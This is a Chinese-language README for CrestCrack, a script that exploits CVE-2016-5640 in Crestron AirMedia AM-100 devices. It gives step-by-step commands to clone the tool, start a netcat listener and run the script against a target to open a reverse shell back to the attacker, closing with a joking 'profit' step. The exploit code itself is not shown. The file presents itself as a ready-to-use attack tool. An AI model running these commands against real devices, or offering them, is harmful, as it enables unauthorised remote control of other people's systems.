CrestCrack

CrestCrack 是一个简单的脚本，用于利用 Crestron AirMedia AM-100（v1.1.1.11 - v1.2.1）中的 CVE-2016-5640 / CLVA-2016-05-002。提供参数后，CrestCrack 将利用 netcat 在目标和您选择的 netcat 监听器之间创建反弹 shell。

设置：

1. 克隆一份 CrestCrack git clone https://github.com/vpnguy/CrestCrack
2. 启动一个 netcat 监听器 nc -lvp 1337
3. 使用你的监听器信息对目标执行 CrestCrack ./crestcrack.py https://targethost 255.255.255.255 1337
4. ??????
5. 获利

###用法： ./crescrack.py [target host] [listener IP] [listener port]

###示例： ./crescrack.py https://targethost 123.123.123.123 3311

其他漏洞信息：

Cylance 漏洞披露

NIST CVE-2016-5640

待添加：

• 错误处理/边界检查
• 增强的参数支持
• --help 输出